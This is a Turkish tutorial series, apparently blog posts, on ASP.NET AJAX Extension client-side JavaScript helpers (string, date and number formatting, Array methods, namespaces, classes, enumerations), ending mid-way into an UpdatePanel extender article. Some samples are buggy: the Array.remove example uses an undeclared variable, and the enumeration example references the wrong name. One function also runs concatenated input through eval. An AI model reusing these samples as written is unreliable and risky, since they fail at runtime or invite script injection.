Herhangi bir JavaScript değişkenine eğer metin tipinde bir değer aktarılmış ise başlangıç veya son kısmında belirli bir metnin bulunup bulunmadığını kontrol etmek için String.endsWith ve Strings.startsWith metodlarını kullanabilirsiniz. Bu metodlar daha önceki yazılarımızda bahsettiğimiz metodlardan farklı olarak direk değişkenlerin tanımına ekleniyor. Sanırım ufak bir uygulama ile konuyu hızlıca netleştirebiliriz.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var Metin = "Daron Yöndem";
alert(Metin.startsWith("Daron"));
// Sonuc = True
alert(Metin.endsWith("m"));
// Sonuc = True
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Kodumuz içerisinde Button1 düğmesine tıklandığında çalıştırılan Yarat JavaScript fonksiyonu bir metin değişkeni yarattıktan sonra direk değişken üzerinden Metin.startsWith şeklinde bir kullanım ile değişkenin belirli bir metin ile başlayıp başlamadığını veya sonlanıp sonlanmadığını kontrol ediyor. Metodları direk değişken üzerinden kullandığımız için metodlara verdiğimiz tek parametre aratmak istediğimiz metnin kendisi. Sonuç olarak her iki metod da True veya False şeklinde birer Boolean değer döndürüyorlar.
String.trim, String.trimEnd ve String.trimStart
Trim fonksiyonu .NET tarafında sıkça kullandığımız tanıdık fonksiyonlardan biri. Artık bu fonksiyonu JavaScript tarafında da rahatlıkla kullanabiliyoruz. Trim fonksiyonuna ek olarak trimEnd ve trimStart adında metin değişkenlerinin başındaki veya sonundaki boşlukları silen fonksiyonlar da mevcut. Standard Trim fonksiyonumuz .NET'te olduğu gibi metnin hem başındaki hem de sonunda boşlukları siliyor.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var Metin = " Yondem ";
alert("x" + Metin.trim() + "x");
// Sonuc = "xYondemx"
alert("x" + Metin.trimEnd() + "x");
// Sonuc = "x Yondemx"
alert("x" + Metin.trimStart() + "x");
// Sonuc = "xYondem x"
alert(Metin.toLowerCase());
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Tüm örneklerimizdeki ile aynı yapıyı kullanarak yine sayfada bulunan bir düğmeye tıklayarak Yarat JavaScript fonksiyonunu çalıştırıyor olacağız. Fonksiyonumuz kendi tanımladığı bir metin değişkenine hem başında hem de sonunda bolca boşluk olan bit metin aktararak sırasıyla hem başında hem sonunda boşlukları silerek tüm Trim metodlarını deniyor ve sonuçları kullanıcıya gösteriyor. Özellikle sonucu kullanıcıya gösterirken boşluklar daha net gözüksün diye metinlerine başında ve sonunda ekstra olarak birer x harfi koydum. Oluşan sonuçları ayrıca kod içerisindeki yorum satırlarında da görebilirsiniz.
String.format
String.format metodu özellikle bir metnin içerisinde başka metinler yerleştirmek için sıkça kullandığımız metodlardan biri. Sunucu tarafındaki kullanımı ile aynı şekilde artık istemci tarafında da bu metodu kullanma şansımız var.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var ay = "Ocak";
var gun = "Pazartesi";
var Metin = String.format("Bugün aylardan {0} ve günlerden {1}", ay, gun);
alert(Metin);
// Sonuc = Bugün aylardan Ocak ve günlerden Pazartesi
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Sayfadaki düğmeye basıldığında çalışacak olan Yarat fonksiyonumuz kendi içerisinde tanımlanan ay ve gun değişkenleri içerisindeki metinleri String.format ile başka bir metnin içerisine yerleştirecek ve sonrasında da Metin değişkenine aktaracak. String.format metoduna verdiğimiz metin içerisinde süslü tırnak işaretleri arasında indeks numaraları yer alıyor. Sıfırdan başlayarak devam eden bu numaralar ile aynı sırada bu numaraların metin içerisindeki yerlerine yerleşecek olan değerleri taşıyan değişkenleri de parametre olarak String.format metoduna vermemiz gerekiyor.
String.toLowerCase ve String.toUpperCase
Herhangi bir metni istemci tarafında büyük harften küçüğe veya küçük harften büyük harfe çevirmek için kullanabileceğimiz CSS özelliklerinin yanı sıra JavaScript tarafında da kullanabileceğimiz alternatiflerimiz mevcut. String.toLowerCase metodu direk değişkenlerin isimleri ile beraber kullanılarak geriye küçük harflerden oluşan bir metin döndürüyor. Aynı şekilde .toUpperCase metodu da geriye büyük harflerden oluşan metinler döndürebiliyor. Örneğimizle devam edelim.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var buyuk = "BUYUK HARFLERDI BUNLAR";
var kucuk = "kucuk harflerdi bunlar";
alert(buyuk.toLowerCase());
//SONUC = "buyuk harflerdi bunlar"
alert(kucuk.toUpperCase());
//SONUC = "KUCUK HARFLERDI BUNLAR"
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Örneğimizde iki farklı değişken yaratarak içlerine tamamen büyük harflerden veya tamamen küçük harflerden oluşan metinler aktarıyoruz. Sonrasında bu değişkenlerşn .toLowerCase veya .toUpperCase metodlarını kullanarak harflerin durumunu değiştirerek kullanıcıya gösteriyoruz. Alacağınız sonuçları kod içerisinde yorum satırlarında inceleyebilirsiniz.
String.indexOf
Metin değişkenleri içerisinde belirli bir yazının tam olarak metnin neresinde olduğunu öğrenmek istediğimizde sunucu tarafından alışık olduğumuz .indexOf metodu artık istemci tarafında da yardımımıza koşuyor. .indexOf metoduna parametre olarak aratmak istediğimiz metni veriyoruz ve arattığımız metnin hedef metin içerisinde bulunduğu yerdeki ilk karakterin indeks numarasını alabiliyoruz.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var buyuk = "Ahmet ile Mehmet gezmeye gittiler.";
alert(buyuk.indexOf("Mehmet"));
//SONUC = 10
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Kodumuz içerisindeki buyuk adındaki metin değişkeninde kısmen uzun bir metin yer alıyor. Bu metin içerisinde bir kelimeyi aratarak kelimenin başladığı harfin hedef metin içerisinde kaçıncı harften başladığını bulabiliyoruz. Yukarıdaki örnek içerisinde .indexOf metodu geriye 10 değerini döndürerek aradığımız metnin hedef metin içerisinde onuncü karakterden başlayarak yer aldığını belirtiyor.
Date.format
Sadece metin değişkenleri için değil, tarih değişkenleri için de güzel yenilikler söz konusu. Örneğimizde bir metin değişkeni yaratarak .toString metodu ile değerini kullanıcıya göstereceğiz. Sonra da söz konusu metin değişkenine bir format uygulayarak tekrar kullanıcıya göstereceğiz. Aradaki farkı hep beraber görelim.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Goster()
{
var tarih = new Date();
alert(tarih.toString() + "<br>");
//SONUC = Fri Jan 16 16:50:31 UTC+0200 2007
tarih = tarih.format("d");
alert(tarih.toString() + "<br>");
//SONUC = 01/16/2007
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Goster();" />
</form>
</body>
</html>
.format metodunu da önceki metodlar gibi direk değişkenler üzerinden kullanabiliyoruz. Sunucu taraflı .NET programlamadan alışık olduğumuz format değerlerini vererek aynı sunucu tarafında olduğu gibi istemci tarafında da tarihlerin gösterilme biçimlerini değiştirebiliyoruz.
Number.format
Bu yazımızda son olarak sayıları istemci tarafında biçimlendirmek için kullanabileceğimiz Number.format metoduna değineceğiz. Yazımızın konusu haricinde olduğu için biçimlendirme metinleri ile ilgili detaylara girmeyeceğim. Hızlı bir örnek ile JavaScript tarafında herhangi bir sayıyı para değeri gibi göstermeyi deneyeceğiz. Gösterdiğimiz sayının bin ayracı ve iki ondalık basamağı olacak.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var sayi = 4390;
alert(sayi.toString());
//SONUC = 4390
sayi = sayi.format("c");
alert(sayi.toString());
//SONUC = 4,390.00
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
JavaScript ile yarattığımız sayısal bir değişkenin formatını .format metodu ile parasal değere (currency) çevirerek kullanıcıya gösterdiğimizde sayının binler ayracı ve iki ondalık basamağı olduğunu görüyoruz.
Serimizin bu yazısında da metin, sayısal ve tarih değişkenlerine eklenen JavaScript fonksiyonları göz attık. Bir sonraki yazıda JavaScript ile DOM üzerinde yapabileceğimiz işlemlerle ilgili gelen yeniliklerden bahsedeceğiz.
Hepinize kolay gelsin.
Bir önceki yazımda ASP.NET AJAX Extension'a ait istemci taraflı JavaScript özelliklerini incelerken sınıf yapılarına, kütüphanelere, üyelere ve sıralara yani enumaration yapısa örnekler ile göz atmıştık. Sıra geldi JavaScript dizileri ile çalışırken hayatımızı gerçekten kolaylaştıran yepyeni AJAX Extension JavaScript komutlarına.
Array.add
Herhangi bir JavaScript dizisini tanımlarken dizinin uzunluğunu belirterek değerler atamak yerine yepyeni Array.add metodumuzu kullanabilirsiniz. .add metodu toplamda iki parametre alıyor, bunlardan ilki ekleme işleminin yapılacak dizi değişkenin adı, diğeri de tabi ki eklenecek olan değerin ta kendisi.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Goster()
{
var Adamlar = ['Ahmet', 'Mehmet', 'Faruk', 'Sedat'];
Array.add(Adamlar, 'Daron');
alert(Adamlar.toString());
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="button" onclick="Goster();" />
</form>
</body>
</html>
Kodumuz içerisinde farklı insanların isimlerinin bir listesini taşıyan Adamlar adında bir değişken tanımladıktan sonra Array.add metodu ile yeni bir değeri dizi içerisine ekliyoruz. Son olarak yine JavaScript tarafında ASP.NET AJAX Extension sayesinde kullanabildiğimiz .toString metodu ile diziyi bir metne çevirerek kullanıcıya bir mesaj kutusu içerisinde gösteriyoruz.
Array.addRange
Birden çok diziyi birbiri ile birleştirmek JavaScript tarafında zahmetli bir iş olabilir. Eğer sayfada bir ScriptManager var ise işimiz çok daha kolay. Array.addRange metodu ile herhangi bir diziye bir başka diziti ekleyebiliyoruz. Metod toplamda iki parametre alıyor. Aldığını ikinci parametredeki diziyi birinci parametredeki dizinin sonuna ekliyor.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var Kayitlar = ["Elma", "Armut", "Ananas"];
var YeniKayitlar = ["Muz", "Havuç"];
Array.addRange(Kayitlar, YeniKayitlar);
alert(Kayitlar.toString());
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Týkla" onclick="Yarat();" />
</form>
</body>
</html>
Kayitlar ve YeniKayitlar adlarında yarattığımız dizilerden YeniKayitlar dizisini Kayitlar dizisine Array.addRange metodu ile ekliyoruz. Son olarak da tüm kayıtları içeren Kayitlar dizisini kullanıcıya gösteriyoruz.
Array.contains
Bir dizi içerisinde belirli bir kaydın veya değerin var olup olmadığını bulmak için kullanabileceğimiz belki de en pratik yöntem Array.contains metodu. Metod iki adet parametre alıyor, bunlardan ilki içerisinde arama yapılacak dizinin kendisi, ikincisi de aranak olarak değişken veya değer. Hızlı bir örnek ile nasıl çalıştığına göz atalım.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var Aylar = ["Ocak", "Şubat", "Mart"];
var Sonuc = Array.contains(Aylar, "Mart");
alert(Sonuc.toString());
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Aylar adında bir dizi içerisinde yılın ilk üç ayını yerleştirdikten sonra dizi içerisinde Mart ayının olup olmadığını kontrol ederek sonucu kullanıcıya gösteriyoruz. Array.contains metodu JavaScript tarafında geriye Boolean tipinde True veya False değerleri döndürür.
Array.indexOf
.NET Tarafından alışık olduğumuz indexOf metodunu artık JavaScript tarafında da kullanabiliyoruz. Herhangi bir dizi içerisinde arattığımız objenin varsa kaçıncı index numarasında yer aldığını döndüren bu metod ile ilgili de hemen bir örnek yapalım.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var HaftaIci = ["Ocak", "Şubat", "Mart", "Perþembe", "Cuma"];
var Kacinci = Array.indexOf(HaftaIci, "Mart");
alert(Kacinci); // Sonuç = 2
Kacinci = Array.indexOf(HaftaIci, "Ocak", 1);
alert(Kacinci); // Sonuç = -1
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Kodumuz içerisinde Array.indexOf ile ilgili iki farklı kullanım şeklini inceleyebilirsiniz. İlk kullanımızda Array.indexOf metoduna toplam iki parametre verdik. Bunlar ilki içerisinde arama yapılacak dizinin kendisi, ikincisi de aranacak objeydi. İkinci kullanım şeklimizde ise bir üçüncü parametre daha veriyoruz. Bu üçüncü parametre opsyonel bir parametre olmakla birlikten dizi içerisindeki arama işleminin kaçıncı indeks numarasından başlayacağını belirtmemizi sağlıyor. Bu nedenle ikinci kullanımda aslında Ocak ayı dizi içerisinde bulunsa da biz 1 indeks numaralı yani ikinci kayıttan aramaya başladığımız için geriye olumsuz sonuç dönüyor.
Array.insert
JavaScript ile diziler üzerinde çalışırken belki de en ciddi sorunlardan biri dizilerin herhangi bir yerine, ortasına vs yeni bir değer veya değişken eklemeye çalışmaktır. Eski yöntemlere hiç bulaşmadan Array.insert metodu ile bu işlemin ne kadar da kolaylaştığını sizinle paylaşmak istiyorum.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var Aylar = ["Ocak", "Subat", "Nisan"];
Array.insert(Aylar, 2, 'Mart');
alert(Aylar.toString());
// Sonuç = Ocak, Subat, Mart, Nisan
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Tıkla" onclick="Yarat();" />
</form>
</body>
</html>
Yine ayların adlarından oluşan bir liste üzerinde çalışalım. Dizimiz içerisinde Mart ayı eksik olduğu için diziyi tanımladıktan sonra araya eklememiz gerekiyor. Array.insert metoduna verdiğimiz üç parametre ile bu işlemi kolayca halledebiliyoruz. Parametrelerimizden ilki ekleme işlemini yapacağımız dizinin kendisi, ikincisi eklenecek öğenin kaçıncı sıraya yapılacağına dair indeks numarası ve üçüncüsü de eklenecek olan öğenin ta kendisi.
Array.remove
Bir dizi içerisinde belirli bir değeri silmek ve diziden çıkarmak için Array.remove metodunu kullanabiliyoruz. Metoda toplamda iki adet parametre veriyoruz. Bunlardan ilki değeri çıkartacağımız JavaScript dizisi, diğeri de çıkartmak istediğimiz değer. Gelin örneğimizde kullanım şekillerine bakalım.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head runat="server">
<title>Untitled Page</title>
<script language="javascript" type="text/javascript">
function Yarat()
{
var Arabalar = ['FIAT', 'FORD', 'BMW', 'MERCEDES'];
Array.remove(Gunler, "FORD");
alert(Gunler.toString());
// Sonuç = FIAT, BMW, MERCEDES
Array.removeAt(Gunler, 2);
alert(Gunler.toString());
// Sonuç = FIAT, BMW
}
</script>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
</div>
<input id="Button1" type="button" value="Týkla" onclick="Yarat();" />
</form>
</body>
</html>
Kodumuz içerisinde Array.remove ve Array.removeAt metodlarını kullandık. Array.remove'un parametrelerinden bahsetmiştik. Array.removeAt ise diziden çıkarılacak veri yerine çıkarılması istenen verinin dizi içerisindeki indeks numarasını alıyor. Söz konusu indeks numarasındaki değer diziden çıkartıldıktan sonra dizinin indeksleri tabi ki yenileniyor. 2 numaralı indeksteki veriyi sildiğinde artık dizinin boyu bir kısalmış olur ve bir numaralı indeksten itibaren tüm değerler bir üst indeks numarasına alınıyor.
ASP.NET AJAX Extension ile beraber gelen yeniliklerden dizilerle ilgili olan metodları inceledikten sonra serimizin bir sonraki yazısında farklı değişken tipleri ile ilgili gelen yeni metodlara ve daha fazlasına bakıyor olacağız.
Hepinize kolay gelsin.
ASP.NET AJAX Extension dediğimizde çoğunlukla aklımıza UpdatePanel, Timer gibi sunucu kontrolleri gelir. Oysa ASP.NET AJAX Extension ile beraber zengin bir JavaScript istemci kütüphanesi de geliyor. Bu makale serisi boyunca benim Client Extensions olarak adlandırdığım ASP.NET AJAX Extension'ın istemci taraflı özelliklerine bakacağız. Muhabbeti çok uzatmadan ilk konumuz ile maratonumuza başlayalım.
Sınıf, Üye ve Kütüphane Yapısı
Class, Member ve Library kelimeleri bizim ASP.NET sunucu taraflı programlamada özellikle nesne tabanlı programlama yaparken kullandığımız yapılar nedeniyle tanıdık. Bu bölümümüzde bu yapıları JavaScript tarafında nasıl kullanabileceğimizi inceleyeceğiz. Örneklerle konuya girmeden önce hatırlatmak istediğim bir nokta var. ASP.NET AJAX Extension ile beraber gelen JavaScript özelliklerini ve kütüphanelerini kullanabilmeniz için bu özellikleri kullanacağınız sayfaların başında birer ScriptManager yer alması şart. Sunucu kontrollerini kullanırken zaten ScriptManager bulundurmak zorunda olduğumuzu biliyoruz, aynı durum istemci taraflı işlevler için de geçerli.
Type.registerNamespace("Takim");
Örneğimize başlarken yukarıdaki kodumuz ile ilk hamlede Takim adinda bir kütüphane tanımlıyoruz. Bu şekilde bir kütüphane tanımladıkta sonra kütüphaneye istediğimiz sayıda farklı özellik ve fonksiyon tanımlayabiliriz. Bir takımımız için oyuncular tanımlayacağız.
Takim.Oyuncu = function(adi, soyadi, pozisyonu) {
this._adi = adi;
this._soyadi = soyadi;
this._pozisyonu = pozisyonu;
}
Tanımladığımız yeni fonksiyonu Takim kütüphanesi içerisinde Oyuncu sınıfına eşitliyoruz. Aslında Oyuncu diye bir sınıf yoktu, biz eşitleme işlemini yaparken tanımlanmış oldu. Oyuncu fonksiyonunu toplam üç adet parametresi var. Bu parametreler fonksiyonu ait iç değişkenlere aktarılıyor. this. ile başlayan değişkenleri VB.NET'teki private değişkenlere benzetebiliriz. ASP.NET AJAX kütüphanesi _ (alt çizgi) ile başlayan değişkenleri özel değişkenler olarak kabul edecek ve dışarıdan ulaşılmalarına izin vermeyecektir. Peki bu değişkenlere dışarıdan nasıl ulaşacağız?
Takim.Oyuncu.prototype = {
Adi: function() {
return this._adi;
},
Soyadi: function() {
return this._soyadi;
},
Detay: function() {
return this._adi + ', ' + this._soyadi + ', Pozisyonu:' + this._pozisyonu;
}
}
Oyuncu sınıfına ait üç farklı fonksiyon, bir anlamda property (özellik) ekliyoruz. Bu fonksiyonlar sınıf yapısının kendisine has değişkenlerinden değerleri alarak dışarıya sunuyorlar. İçerideki verileri dışa sunuş şekli konusunda istediğimiz gibi kod yazma şansımız var. Örneğin Detay fonksiyonu oyuncunun adini, soyadini alarak pozisyonunu da ekleyerek bir metin döndürüyor.
Tanımlamalarımızı bitirdikten sonra sıra geldi sınıfımızın kaydını yapmaya.
Takim.Oyuncu.registerClass('Takim.Oyuncu', null, Sys.IDisposable);
Bu kayıt sayesinde yarattığımız sınıf üzerinden oluşturacağımız değişkenler yine ASP.NET AJAX tarafından kontrol edilerek, gerektiğinde (dispose) yok edilecek. Tüm bu kodları eğer web sayfanızın direk içerisine yerleştireceksiniz yapmanız gereken ek bir işlem yok. Fakat eğerki sizde benim gibi ayrı bir JavaScript dosyası kullanacaksınız kesinlikle sonunda aşağıdaki satırın bulunması gerekiyor.
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();
Bu kod ile ScriptManager'ı JavaScript tanımlamalarımızın tamamlandığından haberdar ediyoruz. JavaScript kodumuzu aşağıdaki şekilde sonlandırıyoruz.
Type.registerNamespace("Takim");
Takim.Oyuncu = function(adi, soyadi, pozisyonu) {
this._adi = adi;
this._soyadi = soyadi;
this._pozisyonu = pozisyonu;
}
Takim.Oyuncu.prototype = {
Adi: function() {
return this._adi;
},
Soyadi: function() {
return this._soyadi;
},
Detay: function() {
return this._adi + ', ' + this._soyadi + ', Pozisyonu:' + this._pozisyonu;
}
}
Takim.Oyuncu.registerClass('Takim.Oyuncu', null, Sys.IDisposable);
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();
Son olarak hazırladığımız kütüphaneyi kullandığımız örnek bir sayfa ile bölümümüzü tamamlayalım.
<%@ Page Language="VB" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title>Untitled Page</title>
</head>
<body>
<form id="form1" runat="server">
<div>
<asp:ScriptManager ID="ScriptManager1" runat="server">
</asp:ScriptManager>
<script type="text/javascript" src="client.js"></script>
<script type="text/javascript" language="JavaScript">
function Yarat()
{
var Oyuncum = new Takim.Oyuncu(
'Oyuncu Adi', 'Oyuncu Soyadý', 'Pivot');
alert(Oyuncum.Detay());
return false;
}
</script>
<input id="Button1" onclick="Yarat()" type="button" value="TIKLA" /></div>
</form>
</body>
</html>
Tüm yazdığımız JavaScript kodlarını Client.js adında bir dosyaya kaydederek sayfamıza standard yollarla ekledikten sonra sayfa içi JavaScript kodları ile kullanabiliyoruz. Kodumuzda Oyuncu sınıfından bir Oyuncu türeterek adını, soyadını ve pozisyonunu da tanımladıktan sonra oyuncuya ait Detay metodunu çalıştırarak aldığımız metni bir uyarı kutusu ile gösteriyoruz.
Sıralar
Enumarations olarak bildiğimiz yapıları JavaScript tarafında da kullanma şansımız var. Bunun için ilk olarak gerekli değerleri içeren tanımlamalarımızı aşağıdaki şekilde yapmamız gerekiyor.
Type.registerNamespace("Sistem");
Sistem.Renk = function(){};
İlk olarak yukarıdaki şekilde Sistem adında bir kütüphane tanımlayarak içerisine boş bir Renk metodu ekliyoruz. Şimdi de Renk metodu içerisinde Enumaration tanımlıyor olacağız.
Sistem.Renk.prototype =
{
Mavi: 0x0000FF,
Yesil: 0x00FF00,
Beyaz: 0xFFFFFF
}
Örneğimizde şimdilik üç adet renk tanımlayalım, karşılığında değer olarak da renkler Hex karşılığını koyalım. Tanımlamalarımız bittiğine göre sıra geldi kütüphaneye kaydımızı yaptırıp dosyamızı kapatmaya.
Sistem.Renk.registerClass("Sistem.Renk");
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();
JavaScript dosyamızın tam hali aşağıdaki şekilde olmalı;
Type.registerNamespace("Sistem");
Sistem.Renk = function(){};
Sistem.Renk.prototype =
{
Mavi: 0x0000FF,
Yesil: 0x00FF00,
Beyaz: 0xFFFFFF
}
Sistem.Renk.registerClass("Sistem.Renk");
if (typeof(Sys) !== 'undefined') Sys.Application.notifyScriptLoaded();
Sayfamıza bu JavaScript dosyasını linklediğimizde aşağıdaki gibi kullanabiliyor olacağız.
<script>
function Boya(Renk)
{
document.body.bgColor = eval("Renkler." + Renk);
}
</script>
Yukarıdaki kodumuzda yer alan Boya adındaki fonksiyon kendisine verilen metin tipindeki renk adını alarak Renkler. metni ile birleştirerek eval komutu ile JavaScript olarak çalıştıracak. Böylece JavaScript kodu olarak Renkler.Mavi gibi kodlar ile önceden tanımladığımız Hex değerlerine ulaşabiliyor olacağız.
Bir sonraki yazımda AJAX Extension'a ait istemci taraflı özelliklere, JavaScript dizileri üzerinde çalışma yöntemleri ile devam ediyor olacağız.
Hepinize kolay gelsin.
ASP.NET AJAX Extension 1.0 ile beraber gelen UpdatePanel sunucu kontrolü biz yazılım geliştiricilerin hayatını ciddi şekilde kolaylaştırdı. Fakat maalesef UpdatePanel'in çok büyük bir eksiği. UpdatePanel'in UpdateMode özelliği Conditinal olarak düzenlendiğinde sunucu tarafında UpdatePanel1.Update gibi bir kod ile herhangi bir UpdatePanel nesnesinin içeriğinin asenkron olarak yenilenmesini sağlayabilirken bu işlemin istemci tarafından tetiklenebilmesini sağlayacak hazır bir çözüm yok.
Makalemiz boyunca yukarıda bahsi geçen sorunu çözmek için nasıl bir teknik kullanabileceğimize ve işimizi kolaylaştırmak için bu teknikleri bizim için otomatik olarak kullanabilecek bir Control Toolkit Extender kontrolünü nasıl programlayabileceğimize değineceğiz.
UpdatePanel JavaScript Extender
Sorunumuzun çözüm tekniklerine girmeden önce gelin makalemiz boyunca hazırlayacağımız UpdatePanel JavaScript Extender kontrolünün kullanım şekline bakalım.
<JS:UpdatePanelJavaScriptExtender TargetControlID="UpdatePanel1"
ClientCommand="Guncelle"
ID="UpdatePanelJavaScriptExtender1"
runat="server">
</JS:UpdatePanelJavaScriptExtender>
Yukarıdaki kodumuz içerisinde UpdatePanelJavaScriptExtender için tanımladığımız iki özellik yer alıyor. Bunlardan ilki TargetControlID özelliği. Sayfamızda JavaScript komutları ile Update etmek istediğimiz UpdatePanel'in ID bilgisini Extender kontrolümüzün TargetControlID özelliğine aktarmak durumundayız. İkinci aşamada ise karşımıza ClientCommand özelliği çıkıyor. JavaScript ile istemci tarafında UpdatePanel'i Update ederken kullanmak isteyeceğimiz JavaScript fonksiyonunun adını buraya parametre olarak vermemiz gerekiyor. Bizim örneğimizde UpdatePanel1'i yenilemek için sayfada Guncelle JavaScript fonksiyonunu kullanacağız. Kullanacağımız örneğe ait tam sayfa HTML kodu aşağıdaki şekilde;
<%@ Page Language="VB" AutoEventWireup="true" CodeFile="Default.aspx.vb" Inherits="_Default" %>
